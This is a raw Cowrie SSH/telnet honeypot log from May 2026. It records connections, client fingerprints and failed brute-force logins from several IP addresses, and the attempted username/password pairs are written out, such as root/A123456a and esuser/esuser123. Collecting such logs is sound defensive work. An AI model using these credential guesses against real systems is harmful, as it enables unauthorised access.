{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:43.868579Z","src_ip":"45.156.87.204","session":"74a1fd96c0ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portal","password":"portal","message":"login attempt [portal/portal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:44.301486Z","src_ip":"45.156.87.204","session":"74a1fd96c0ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.45016813278198,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:44.595957Z","src_ip":"152.42.224.71","session":"e87fc9d0452f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:44.975571Z","src_ip":"103.75.183.219","session":"6e6ecd6cf966","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":38976,"dst_ip":"159.203.135.109","dst_port":22,"session":"43b6e5aa5c20","protocol":"ssh","message":"New connection: 124.155.125.131:38976 (159.203.135.109:22) [session: 43b6e5aa5c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:45.330913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:45.335915Z","src_ip":"124.155.125.131","session":"43b6e5aa5c20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:45.387686Z","src_ip":"45.156.87.204","session":"74a1fd96c0ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:45.511620Z","src_ip":"124.155.125.131","session":"43b6e5aa5c20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tommy","password":"tommy","message":"login attempt [tommy/tommy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:46.244679Z","src_ip":"124.155.125.131","session":"43b6e5aa5c20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:47.423634Z","src_ip":"124.155.125.131","session":"43b6e5aa5c20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39810,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d29d368ba98","protocol":"ssh","message":"New connection: 45.156.87.204:39810 (159.203.135.109:22) [session: 1d29d368ba98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:47.439081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:47.447069Z","src_ip":"45.156.87.204","session":"1d29d368ba98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:47.531525Z","src_ip":"45.156.87.204","session":"1d29d368ba98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:47.778976Z","src_ip":"45.156.87.204","session":"1d29d368ba98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:48.864467Z","src_ip":"45.156.87.204","session":"1d29d368ba98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00207114219666,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:49.907588Z","src_ip":"152.42.224.71","session":"30c5fb8c4991","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39826,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ddf053f45a4","protocol":"ssh","message":"New connection: 45.156.87.204:39826 (159.203.135.109:22) [session: 8ddf053f45a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:50.984263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:50.988828Z","src_ip":"45.156.87.204","session":"8ddf053f45a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:51.073201Z","src_ip":"45.156.87.204","session":"8ddf053f45a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser123","message":"login attempt [esuser/esuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:51.327651Z","src_ip":"45.156.87.204","session":"8ddf053f45a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54170,"dst_ip":"10.17.0.5","dst_port":23,"session":"c38fd75f4e4e","protocol":"telnet","message":"New connection: 152.42.224.71:54170 (10.17.0.5:23) [session: c38fd75f4e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:51.397661Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54182,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bab845a69d2","protocol":"telnet","message":"New connection: 152.42.224.71:54182 (10.17.0.5:23) [session: 4bab845a69d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:51.553097Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54156,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd18aecb0039","protocol":"telnet","message":"New connection: 152.42.224.71:54156 (10.17.0.5:23) [session: dd18aecb0039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:51.785219Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:52.417534Z","src_ip":"45.156.87.204","session":"8ddf053f45a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.79126763343811,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:52.494976Z","src_ip":"152.42.224.71","session":"8fbeeda84ff1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":55612,"dst_ip":"159.203.135.109","dst_port":22,"session":"13c8da01b882","protocol":"ssh","message":"New connection: 45.156.87.204:55612 (159.203.135.109:22) [session: 13c8da01b882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:54.606698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:54.779360Z","src_ip":"45.156.87.204","session":"13c8da01b882","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:54.783199Z","src_ip":"45.156.87.204","session":"13c8da01b882","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:55.229804Z","src_ip":"45.156.87.204","session":"13c8da01b882","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":49354,"dst_ip":"159.203.135.109","dst_port":22,"session":"722cc9400bdf","protocol":"ssh","message":"New connection: 103.122.221.179:49354 (159.203.135.109:22) [session: 722cc9400bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:55.415510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:55.423529Z","src_ip":"103.122.221.179","session":"722cc9400bdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:55.684532Z","src_ip":"103.122.221.179","session":"722cc9400bdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56228,"dst_ip":"10.17.0.5","dst_port":23,"session":"912495565296","protocol":"telnet","message":"New connection: 152.42.224.71:56228 (10.17.0.5:23) [session: 912495565296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:56.209749Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:56.316078Z","src_ip":"45.156.87.204","session":"13c8da01b882","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8765432","message":"login attempt [root/8765432] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:56.466857Z","src_ip":"103.122.221.179","session":"722cc9400bdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:57.729284Z","src_ip":"103.122.221.179","session":"722cc9400bdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.111.76.195","src_port":41926,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2f9e4db694d","protocol":"ssh","message":"New connection: 83.111.76.195:41926 (159.203.135.109:22) [session: c2f9e4db694d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:58.081192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:58.087154Z","src_ip":"83.111.76.195","session":"c2f9e4db694d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:58.290632Z","src_ip":"83.111.76.195","session":"c2f9e4db694d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":55632,"dst_ip":"159.203.135.109","dst_port":22,"session":"372fdc5dfdcf","protocol":"ssh","message":"New connection: 45.156.87.204:55632 (159.203.135.109:22) [session: 372fdc5dfdcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:58.445398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:58.453125Z","src_ip":"45.156.87.204","session":"372fdc5dfdcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:58.535632Z","src_ip":"45.156.87.204","session":"372fdc5dfdcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:58.787444Z","src_ip":"45.156.87.204","session":"372fdc5dfdcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"temp","password":"123","message":"login attempt [temp/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:59.130918Z","src_ip":"83.111.76.195","session":"c2f9e4db694d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:45:59.873343Z","src_ip":"45.156.87.204","session":"372fdc5dfdcf","protocol":"ssh"}
